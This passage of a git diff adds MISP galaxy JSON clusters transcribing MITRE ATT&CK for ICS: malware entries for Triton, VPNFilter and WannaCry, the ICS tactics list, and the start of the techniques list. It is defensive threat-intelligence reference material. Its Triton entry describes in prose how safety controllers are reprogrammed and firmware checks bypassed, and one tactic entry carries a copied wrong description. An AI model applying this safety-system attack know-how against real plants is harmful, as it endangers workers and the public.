Descriptions": [ + "Triton", + "TRISIS", + "Hatman" + ], + "Groups": [ + "XENOTIME" + ], + "Techniques Used": [ + "Utilize/Change Operating Mode - Triton is able to modify code if the Triconex SIS Controller is configured with the physical keyswitch in ‘program mode’ during operation. If the controller is placed in Run mode (program changes not permitted), arbitrary changes in logic are not possible substantially reducing the likelihood of manipulation. Once the Triton implant is installed on the SIS it is able to conduct any operation regardless of any future position of the keyswitch https://collaborate.mitre.org/attackics/index.php/Technique/T858", + "Unauthorized Command Message - Using Triton, an adversary can manipulate the process into an unsafe state from the DCS while preventing the SIS from functioning appropriately https://collaborate.mitre.org/attackics/index.php/Technique/T855", + "Masquerading - The Triton malware was configured to masquerade as trilog.exe, which is the Triconex software for analyzing SIS logs https://collaborate.mitre.org/attackics/index.php/Technique/T849", + "Modify Control Logic - Triton can reprogram the SIS logic to cause it to trip and shutdown a process that is, in actuality, in a safe state. In other words, trigger a false positive. Triton also can reprogram the SIS logic to allow unsafe conditions to persist.1 The Triton malware is able to add a malicious program to the execution table of the controller. This action leaves the legitimate programs in place. If the controller failed, Triton would attempt to return it to a running state. If the controller did not recover within a certain time window, the sample would overwrite the malicious program to cover its tracks https://collaborate.mitre.org/attackics/index.php/Technique/T833", + "Scripting - In the version of Triton available at the time of publication, the component that programs the Triconex controllers is written entirely in Python. The modules that implement the communciation protocol and other supporting components are found in a separate file -- library.zip -- which the main script that employs this functionality is compiled into a standalone Windows executable -- trilog.exe -- that includes a Python environment https://collaborate.mitre.org/attackics/index.php/Technique/T853", + "Remote System Discovery - Triton uses a Python script that is capable of detecting Triconex controllers on the network by sending a specific UDP broadcast packet over port 1502 https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "System Firmware - The malicious shellcode Triton uses is split into two separate pieces -- inject.bin and imain.bin. The former program is more generic code that handles injecting the payload into the running firmware, while the latter is the payload that actually performs the additional malicious functionality. The payload --imain.bin-- is designed to take a TriStation protocol get main processor diagnostic data command, look for a specially crafted packet body, and perform custom actions on demand. It is able to read and write memory on the safety controller and execute code at an arbitrary address within the firmware. In addition, if the memory address it writes to is within the firmware region, it disables address translation, writes the code at the provided address, flushes the instruction cache, and re-enables address translation. This allows the malware to make changes to the running firmware in memory. This allows Triton to change how the device operates and would allow for the modification of other actions that the Triton controller might make https://collaborate.mitre.org/attackics/index.php/Technique/T857", + "Scripting - A Python script seen in Triton communicates using four Python modules—TsBase, TsLow, TsHi, and TS_cnames—that collectively implement the TriStation network protocol (“TS”, via UDP 1502); this is the protocol that the TriStation TS1131 software uses to communicate with Triconex safety PLCs https://collaborate.mitre.org/attackics/index.php/Technique/T853", + "Exploitation for Evasion - Triton disables a firmware RAM/ROM consistency check, injects a payload (imain.bin) into the firmware memory region, and changes a jumptable entry to point to the added code 384. In Schneider Electric Triconex Tricon MP model 3008 firmware versions 10.0-10.4, system calls read directly from memory addresses within the control program area without any verification. Manipulating this data could allow adversary data to be copied anywhere within memory.910 Triconex systems include continuous means of detection including checksums for firmware and program integrity, memory and memory reference integrity, and configuration https://collaborate.mitre.org/attackics/index.php/Technique/T820", + "Control Device Identification - The Triton Python script is also capable of autodetecting Triconex controllers on the network by sending a specific UDP broadcast packet over port 1502 https://collaborate.mitre.org/attackics/index.php/Technique/T808", + "Engineering Workstation Compromise - The Triton malware gained remote access to an SIS engineering workstation https://collaborate.mitre.org/attackics/index.php/Technique/T818", + "Loss of Safety - Triton has the capability to reprogram the SIS logic to allow unsafe conditions to persist or reprogram the SIS to allow an unsafe state – while using the DCS to create an unsafe state or hazard https://collaborate.mitre.org/attackics/index.php/Technique/T880", + "Program Download - Triton leveraged the TriStation protocol to download programs onto Triconex Safety Instrumented System https://collaborate.mitre.org/attackics/index.php/Technique/T843", + "ndicator Removal on Host - Triton would reset the controller to the previous state over TriStation and if this failed it would write a dummy program to memory in what was likely an attempt at anti-forensics https://collaborate.mitre.org/attackics/index.php/Technique/T872", + "Commonly Used Port - Triton framework can communicate with the implant utilizing the TriStation 'get main processor diagnostic data' command and looks for a specifically crafted packet body from which it extracts a command value and its arguments https://collaborate.mitre.org/attackics/index.php/Technique/T885", + "Execution through API - Triton leverages a reconstructed TriStation protocol within its framework to trigger APIs related to program download, program allocation, and program changes https://collaborate.mitre.org/attackics/index.php/Technique/T871", + "Detect Program State - Triton contains a file named TS_cnames.py which contains default definitions for program state (TS_progstate). Program state is referenced in TsHi.py https://collaborate.mitre.org/attackics/index.php/Technique/T870", + "Detect Operating Mode - Triton contains a file named TS_cnames.py which contains default definitions for key state (TS_keystate). Key state is referenced in TsHi.py https://collaborate.mitre.org/attackics/index.php/Technique/T868", + "Change Program State - Triton has the ability to halt or run a program through the TriStation protocol. TsHi.py contains instances of halt and run functions being executed https://collaborate.mitre.org/attackics/index.php/Technique/T875" + ], + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", + "https://dragos.com/blog/trisis/TRISIS-01.pdf", + "https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf", + "https://www.youtube.com/watch?v=f09E75bWvkk&index=3&list=PL8OWO1qWXF4qYG19p7An4Vw3N2YZ86aRS&t=0s", + "https://www.youtube.com/watch?v=XwSJ8hloGvY", + "https://download.schneider-electric.com/files?p_enDocType=Technical+leaflet&p_File_Name=SEVD-2017-347-01+Triconex+V3.pdf&p_Doc_Ref=SEVD-2017-347-01", + "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware", + "https://ics-cert.us-cert.gov/advisories/ICSA-18-107-02", + "https://nvd.nist.gov/vuln/detail/CVE-2018-8872", + "https://cwe.mitre.org/data/definitions/119.html", + "https://www.nrc.gov/docs/ML1209/ML120900890.pdf", + "https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library" + ] + }, + "uuid": "e98dca35-5141-4b6c-87e1-9ee36a92d54e", + "value": "Triton" + }, + { + "description": "VPNFilter is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols", + "meta": { + "Associated Software Descriptions": [ + "VPNFilter" + ], + "Techniques Used": [ + "Network Sniffing - The VPNFilter packet sniffer looks for basic authentication as well as monitors ICS traffic, and is specific to the TP-LINK R600-VPN. The malware uses a raw socket to look for connections to a pre-specified IP address, only looking at TCP packets that are 150 bytes or larger. Packets that are not on port 502, are scanned for BasicAuth, and that information is logged. This may have allowed credential harvesting from communications between devices accessing a modbus-enabled HMI https://collaborate.mitre.org/attackics/index.php/Technique/T842", + "Control Device Identification - The VPNFilter packet sniffer monitors ICS traffic, and is specific to the TP-LINK R600-VPN. The malware uses a raw socket to look for connections to a pre-specified IP address, only looking at TCP packets that are 150 bytes or larger. 'ps' identifies and logs on IPs and ports, but not the packet contents on port 502 (Modbus traffic). It does not validate the traffic as Modbus https://collaborate.mitre.org/attackics/index.php/Technique/T808" + ], + "refs": [ + "https://blog.talosintelligence.com/2018/06/vpnfilter-update.html", + "https://www.youtube.com/watch?v=yuZazP22rpI" + ] + }, + "uuid": "cea7e5ff-cfde-4856-9829-acd7166cd1f9", + "value": "VPNFilter" + }, + { + "description": "WannaCry is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains self-propagating (“wormable”) features to spread itself across a computer network using the SMBv1 exploit EternalBlue.", + "meta": { + "Associated Software Descriptions": [ + "WannaCry" + ], + "Groups": [ + "Lazarus group" + ], + "Techniques Used": [ + "Exploitation of Remote Services - WannaCry initially infected IT networks, but by means of an exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks https://collaborate.mitre.org/attackics/index.php/Technique/T866", + "External Remote Services - WannaCry can utilize exposed SMB services to access industrial networks https://collaborate.mitre.org/attackics/index.php/Technique/T822", + "Remote File Copy - WannaCry can move laterally through industrial networks by means of the SMB service https://collaborate.mitre.org/attackics/index.php/Technique/T867" + ], + "refs": [ + "https://attack.mitre.org/software/S0366/", + "https://www.us-cert.gov/ncas/alerts/TA17-132A", + "https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/" + ] + }, + "uuid": "2901adef-0da6-4c1e-854b-b4e4e0d8e15a", + "value": "WannaCry" + } + ], + "version": 1 +} diff --git a/clusters/mitre-ics-tactics.json b/clusters/mitre-ics-tactics.json new file mode 100644 index 0000000..8cb8cae --- /dev/null +++ b/clusters/mitre-ics-tactics.json @@ -0,0 +1,278 @@ +{ + "authors": [ + "MITRE" + ], + "category": "tactic", + "description": "A list of all 11 tactics in ATT&CK for ICS", + "name": "Tactics", + "source": "https://collaborate.mitre.org/attackics/index.php/All_Tactics", + "type": "mitre-ics-tactics", + "uuid": "ae92140f-7816-45b6-aa7c-9ff3e8536f10", + "values": [ + { + "description": "The adversary is trying to gather data of interest and domain knowledge on your ICS environment to inform their goal. Collection consists of techniques adversaries use to gather domain knowledge and obtain contextual feedback in an ICS environment. This tactic is often performed as part of Discovery, to compile data on control systems and targets of interest that may be used to follow through on the adversary’s objective. Examples of these techniques include observing operation states, capturing screenshots, identifying unique device roles, and gathering system and diagram schematics. Collection of this data can play a key role in planning, executing, and even revising an ICS-targeted attack. Methods of collection depend on the categories of data being targeted, which can include protocol specific, device specific, and process specific configurations and functionality. Information collected may pertain to a combination of system, supervisory, device, and network related data, which conceptually fall under high, medium, and low levels of plan operations. For example, information repositories on plant data at a high level or device specific programs at a low level. Sensitive floor plans, vendor device manuals, and other refs may also be at risk and exposed on the internet or otherwise publicly accessible.", + "meta": { + "Techniques in this Tactics Category": [ + "Automated Collection https://collaborate.mitre.org/attackics/index.php/Technique/T802", + "Data from Information Repositories https://collaborate.mitre.org/attackics/index.php/Technique/T811", + "Detect Operating Mode https://collaborate.mitre.org/attackics/index.php/Technique/T868", + "Detect Program State https://collaborate.mitre.org/attackics/index.php/Technique/T870", + "I/O Image https://collaborate.mitre.org/attackics/index.php/Technique/T877", + "Location Identification https://collaborate.mitre.org/attackics/index.php/Technique/T825", + "Monitor Process State https://collaborate.mitre.org/attackics/index.php/Technique/T801", + "Point & Tag Identification https://collaborate.mitre.org/attackics/index.php/Technique/T861", + "Program Upload https://collaborate.mitre.org/attackics/index.php/Technique/T845", + "Role Identification https://collaborate.mitre.org/attackics/index.php/Technique/T850", + "Screen Capture https://collaborate.mitre.org/attackics/index.php/Technique/T852" + ], + "refs": [ + "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf", + "http://www.research.lancs.ac.uk/portal/files/196578358/sample_sigconf.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-293A" + ] + }, + "uuid": "834fab50-be52-4611-95b6-6330d1db65c2", + "value": "Collection" + }, + { + "description": "The adversary is trying to communicate with and control compromised systems, controllers, and platforms with access to your ICS environment. Command and Control consists of techniques that adversaries use to communicate with and send commands to compromised systems, devices, controllers, and platforms with specialized applications used in ICS environments. Examples of these specialized communication devices include human machine interfaces (HMIs), data historians, SCADA servers, and engineering workstations (EWS). Adversaries often seek to use commonly available resources and mimic expected network traffic to avoid detection and suspicion. For instance, commonly used ports and protocols in ICS environments, and even expected IT resources, depending on the target network. Command and Control may be established to varying degrees of stealth, often depending on the victim’s network structure and defenses.", + "meta": { + "Techniques in this Tactics Category": [ + "Commonly Used Port https://collaborate.mitre.org/attackics/index.php/Technique/T885", + "Connection Proxy https://collaborate.mitre.org/attackics/index.php/Technique/T884", + "Standard Application Layer Protocol https://collaborate.mitre.org/attackics/index.php/Technique/T869" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1090" + ] + }, + "uuid": "4fd3b7b1-6d05-4cab-8182-6ea52ecbde63", + "value": "Command and Control" + }, + { + "description": "The adversary is trying to figure out your ICS environment. Discovery consists of techniques that adversaries use to survey your ICS environment and gain knowledge about the internal network, control system devices, and how their processes interact. These techniques help adversaries observe the environment and determine next steps for target selection and Lateral Movement. They also allow adversaries to explore what they can control and gain insight on interactions between various control system processes. Discovery techniques are often an act of progression into the environment which enable the adversary to orient themselves before deciding how to act. Adversaries may use Discovery techniques that result in Collection, to help determine how available resources benefit their current objective. A combination of native device communications and functions, and custom tools are often used toward this post-compromise information-gathering objective.", + "meta": { + "Techniques in this Tactics Category": [ + "Control Device Identification https://collaborate.mitre.org/attackics/index.php/Technique/T808", + "I/O Module Discovery https://collaborate.mitre.org/attackics/index.php/Technique/T824", + "Network Connection Enumeration https://collaborate.mitre.org/attackics/index.php/Technique/T840", + "Network Service Scanning https://collaborate.mitre.org/attackics/index.php/Technique/T841", + "Network Sniffing https://collaborate.mitre.org/attackics/index.php/Technique/T842", + "Remote System Discovery https://collaborate.mitre.org/attackics/index.php/Technique/T846", + "Serial Connection Enumeration https://collaborate.mitre.org/attackics/index.php/Technique/T854" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1049", + "https://attack.mitre.org/wiki/Technique/T1040", + "https://attack.mitre.org/wiki/Technique/T1018" + ] + }, + "uuid": "021d9d90-a792-4b84-a9f8-892b11c7db55", + "value": "Discovery" + }, + { + "description": "The adversary is trying to avoid being detected.Evasion consists of techniques that adversaries use to avoid detection by both human operators and technical defenses throughout their compromise. Techniques used for evasion include removal of indicators of compromise, spoofing communications and reporting, and exploiting software vulnerabilities. Adversaries may also leverage and abuse trusted devices and processes to hide their activity, possibly by masquerading as master devices or native software. Methods of defense and operator evasion for this purpose are often more passive in nature, as opposed to Inhibit Response Function techniques. They may also vary depending on whether the target of evasion is human or technological in nature, such as security controls. Techniques under other tactics are cross-listed to evasion when those techniques include the added benefit of subverting operators and defenses. ", + "meta": { + "Techniques in this Tactics Category": [ + "Exploitation for Evasion https://collaborate.mitre.org/attackics/index.php/Technique/T820", + "Indicator Removal on Host https://collaborate.mitre.org/attackics/index.php/Technique/T872", + "Masquerading https://collaborate.mitre.org/attackics/index.php/Technique/T849", + "Rogue Master Device https://collaborate.mitre.org/attackics/index.php/Technique/T848", + "Rootkit https://collaborate.mitre.org/attackics/index.php/Technique/T851", + "Spoof Reporting Message https://collaborate.mitre.org/attackics/index.php/Technique/T856", + "Utilize/Change Operating Mode https://collaborate.mitre.org/attackics/index.php/Technique/T858" + ], + "refs": [ + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://attack.mitre.org/wiki/Technique/T1014", + "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258" + ] + }, + "uuid": "099fdd9a-8894-4599-8e7f-59e82e285df6", + "value": "Evasion" + }, + { + "description": "The adversary is trying to run malicious code. Execution consists of techniques that result in adversary-controlled code running on a local or remote system, device, or other asset. This execution may also rely on unknowing end users or the manipulation of device operating modes to run. Adversaries may infect remote targets with programmed executables or malicious project files that operate according to specified behavior and may alter expected device behavior in subtle ways. Commands for execution may also be issued from command-line interfaces, APIs, GUIs, or other available interfaces. Techniques that run malicious code may also be paired with techniques from other tactics, particularly to aid network Discovery and Collection, impact operations, and inhibit response functions.", + "meta": { + "Techniques in this Tactics Category": [ + "Change Program State https://collaborate.mitre.org/attackics/index.php/Technique/T875", + "Command-Line Interface https://collaborate.mitre.org/attackics/index.php/Technique/T807", + "Execution through API https://collaborate.mitre.org/attackics/index.php/Technique/T871", + "Graphical User Interface https://collaborate.mitre.org/attackics/index.php/Technique/T823", + "Man in the Middle https://collaborate.mitre.org/attackics/index.php/Technique/T830", + "Program Organization Units https://collaborate.mitre.org/attackics/index.php/Technique/T844", + "Project File Infection https://collaborate.mitre.org/attackics/index.php/Technique/T873", + "Scripting https://collaborate.mitre.org/attackics/index.php/Technique/T853", + "User Execution https://collaborate.mitre.org/attackics/index.php/Technique/T863" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1059", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095", + "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258", + "http://www.dee.ufrj.br/controle_automatico/cursos/IEC61131-3_Programming_Industrial_Automation_Systems.pdf", + "https://cdn.selinc.com/assets/Literature/Publications/Technical%20Papers/6560_PracticalApplications_MW_20120224_Web.pdf?v=20151125-003051", + "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://infosys.beckhoff.com/english.php?content=../content/1033/tc3_sourcecontrol/18014398915785483.html&id=", + "http://www.plcdev.com/book/export/html/373", + "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf", + "https://www.f-secure.com/weblog/archives/00002718.html" + ] + }, + "uuid": "7779ec85-b841-44b8-9c5e-9c9d670a3938", + "value": "Execution" + }, + { + "description": "The adversary is trying to manipulate, interrupt, or destroy your ICS systems, data, and their surrounding environment. Impact consists of techniques that adversaries use to disrupt, compromise, destroy, and manipulate the integrity and availability of control system operations, processes, devices, and data. These techniques encompass the influence and effects resulting from adversarial efforts to attack the ICS environment or that tangentially impact it. Impact techniques can result in more instantaneous disruption to control processes and the operator, or may result in more long term damage or loss to the ICS environment and related operations. The adversary may leverage Impair Process Control techniques, which often manifest in more self-revealing impacts on operations, or Inhibit Response Function techniques to hinder safeguards and alarms in order to follow through with and provide cover for Impact. In some scenarios, control system processes can appear to function as expected, but may have been altered to benefit the adversary’s goal over the course of a longer duration. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach. Loss of Productivity and Revenue, Theft of Operational Information, and Damage to Property are meant to encompass some of the more granular goals of adversaries in targeted and untargeted attacks. These techniques in and of themselves are not necessarily detectable, but the associated adversary behavior can potentially be mitigated and/or detected.", + "meta": { + "Techniques in this Tactics Category": [ + "Damage to Property https://collaborate.mitre.org/attackics/index.php/Technique/T879", + "Denial of Control https://collaborate.mitre.org/attackics/index.php/Technique/T813", + "Denial of View https://collaborate.mitre.org/attackics/index.php/Technique/T815", + "Loss of Availability https://collaborate.mitre.org/attackics/index.php/Technique/T826", + "Loss of Control https://collaborate.mitre.org/attackics/index.php/Technique/T827", + "Loss of Productivity and Revenue https://collaborate.mitre.org/attackics/index.php/Technique/T828", + "Loss of Safety https://collaborate.mitre.org/attackics/index.php/Technique/T880", + "Loss of View https://collaborate.mitre.org/attackics/index.php/Technique/T829", + "Manipulation of Control https://collaborate.mitre.org/attackics/index.php/Technique/T831", + "Manipulation of View https://collaborate.mitre.org/attackics/index.php/Technique/T832", + "Theft of Operational Information https://collaborate.mitre.org/attackics/index.php/Technique/T882" + ], + "refs": [ + "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3", + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://www.londonreconnections.com/2017/hacked-cyber-security-railways/", + "https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/", + "https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html", + "https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf", + "https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297", + "https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false", + "https://time.com/4270728/iran-cyber-attack-dam-fbi/", + "https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559" + ] + }, + "uuid": "40c9594e-ae8b-48f1-8e11-0e08ead4d44b", + "value": "Impact" + }, + { + "description": "The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, then they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to result in Impact.", + "meta": { + "Techniques in this Tactics Category": [ + "Brute Force I/O https://collaborate.mitre.org/attackics/index.php/Technique/T806", + "Change Program State https://collaborate.mitre.org/attackics/index.php/Technique/T875", + "Masquerading https://collaborate.mitre.org/attackics/index.php/Technique/T849", + "Modify Control Logic https://collaborate.mitre.org/attackics/index.php/Technique/T833", + "Modify Parameter https://collaborate.mitre.org/attackics/index.php/Technique/T836", + "Module Firmware https://collaborate.mitre.org/attackics/index.php/Technique/T839", + "Program Download https://collaborate.mitre.org/attackics/index.php/Technique/T843", + "Rogue Master Device https://collaborate.mitre.org/attackics/index.php/Technique/T848", + "Service Stop https://collaborate.mitre.org/attackics/index.php/Technique/T881", + "Spoof Reporting Message https://collaborate.mitre.org/attackics/index.php/Technique/T856", + "Unauthorized Command Message https://collaborate.mitre.org/attackics/index.php/Technique/T855" + ], + "refs": [ + "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf", + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices", + "https://attack.mitre.org/techniques/T1489/", + "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf" + ] + }, + "uuid": "aa3913db-52ce-4856-b0db-fce6af13e4d6", + "value": "Impair Process Control" + }, + { + "description": "The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, then they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to result in Impact.", + "meta": { + "Techniques in this Tactics Category": [ + "Activate Firmware Update Mode https://collaborate.mitre.org/attackics/index.php/Technique/T800", + "Alarm Suppression https://collaborate.mitre.org/attackics/index.php/Technique/T878", + "Block Command Message https://collaborate.mitre.org/attackics/index.php/Technique/T803", + "Block Reporting Message https://collaborate.mitre.org/attackics/index.php/Technique/T804", + "Block Serial COM https://collaborate.mitre.org/attackics/index.php/Technique/T805", + "Data Destruction https://collaborate.mitre.org/attackics/index.php/Technique/T809", + "Denial of Service https://collaborate.mitre.org/attackics/index.php/Technique/T814", + "Device Restart/Shutdown https://collaborate.mitre.org/attackics/index.php/Technique/T816", + "Manipulate I/O Image https://collaborate.mitre.org/attackics/index.php/Technique/T835", + "Modify Alarm Settings https://collaborate.mitre.org/attackics/index.php/Technique/T838", + "Modify Control Logic https://collaborate.mitre.org/attackics/index.php/Technique/T833", + "Program Download https://collaborate.mitre.org/attackics/index.php/Technique/T843", + "Rootkit https://collaborate.mitre.org/attackics/index.php/Technique/T851", + "System Firmware https://collaborate.mitre.org/attackics/index.php/Technique/T857", + "Utilize/Change Operating Mode https://collaborate.mitre.org/attackics/index.php/Technique/T858" + ], + "refs": [ + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf", + "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://attack.mitre.org/wiki/Technique/T1107", + "https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A", + "https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01", + "http://cwe.mitre.org/data/definitions/400.html", + "https://nvd.nist.gov/vuln/detail/CVE-2015-5374", + "https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/", + "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf", + "https://attack.mitre.org/wiki/Technique/T1014", + "http://www.sciencedirect.com/science/article/pii/S1874548213000231" + ] + }, + "uuid": "35bf4454-d73b-43ff-8a38-85342f595009", + "value": "Inhibit Response Function" + }, + { + "description": "The adversary is trying to get into your ICS environment. Initial Access consists of techniques that adversaries may use as entry vectors to gain an initial foothold within an ICS environment. These techniques include compromising operational technology assets, IT resources in the OT network, and external remote services and websites. They may also target third party entities and users with privileged access. In particular, these initial access footholds may include devices and communication mechanisms with access to and privileges in both the IT and OT environments. IT resources in the OT environment are also potentially vulnerable to the same attacks as enterprise IT systems. Trusted third parties of concern may include vendors, maintenance personnel, engineers, external integrators, and other outside entities involved in expected ICS operations. Vendor maintained assets may include physical devices, software, and operational equipment. Initial access techniques may also leverage outside devices, such as radios, controllers, or removable media, to remotely interfere with and possibly infect OT operations. ", + "meta": { + "Techniques in this Tactics Category": [ + "Data Historian Compromise https://collaborate.mitre.org/attackics/index.php/Technique/T810", + "Drive-by Compromise https://collaborate.mitre.org/attackics/index.php/Technique/T817", + "Engineering Workstation Compromise https://collaborate.mitre.org/attackics/index.php/Technique/T818", + "Exploit Public-Facing Application https://collaborate.mitre.org/attackics/index.php/Technique/T819", + "External Remote Services https://collaborate.mitre.org/attackics/index.php/Technique/T822", + "Internet Accessible Device https://collaborate.mitre.org/attackics/index.php/Technique/T883", + "Replication Through Removable Media https://collaborate.mitre.org/attackics/index.php/Technique/T847", + "Spearphishing Attachment https://collaborate.mitre.org/attackics/index.php/Technique/T865", + "Supply Chain Compromise https://collaborate.mitre.org/attackics/index.php/Technique/T862", + "Wireless Compromise https://collaborate.mitre.org/attackics/index.php/Technique/T860" + ], + "refs": [ + "https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf", + "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B", + "https://attack.mitre.org/wiki/Technique/T1133", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/", + "https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01", + "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html", + "https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT_Monitor_Jan-April2014.pdf", + "https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559", + "https://time.com/4270728/iran-cyber-attack-dam-fbi/", + "https://www.kkw-gundremmingen.de/presse.php?id=571", + "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant", + "https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS", + "https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml", + "https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant", + "https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/", + "https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/", + "https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298", + "https://www.bbc.com/news/technology-36158606", + "https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/", + "https://attack.mitre.org/techniques/T1193/", + "https://www.f-secure.com/weblog/archives/00002718.html", + "https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf", + "https://www.slideshare.net/dgpeters/17-bolshev-1-13", + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://www.londonreconnections.com/2017/hacked-cyber-security-railways/", + "https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/", + "https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html" + ] + }, + "uuid": "2366ffb0-91ba-4b8e-bfad-d460c98d43a8", + "value": "Innitial Access" + } + ], + "version": 1 +} diff --git a/clusters/mitre-ics-techniques.json b/clusters/mitre-ics-techniques.json new file mode 100644 index 0000000..b5dd6f7 --- /dev/null +++ b/clusters/mitre-ics-techniques.json @@ -0,0 +1,2038 @@ +{ + "authors": [ + "MITRE" + ], + "category": "attack-pattern", + "description": "A list of Techniques in ATT&CK for ICS.", + "name": "Techniques", + "source": "https://collaborate.mitre.org/attackics/index.php/All_Techniques", + "type": "mitre-ics-techniques", + "uuid": "633e91db-adf8-458e-a09e-7ee0eb588bf3", + "values": [ + { + "description": "Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. 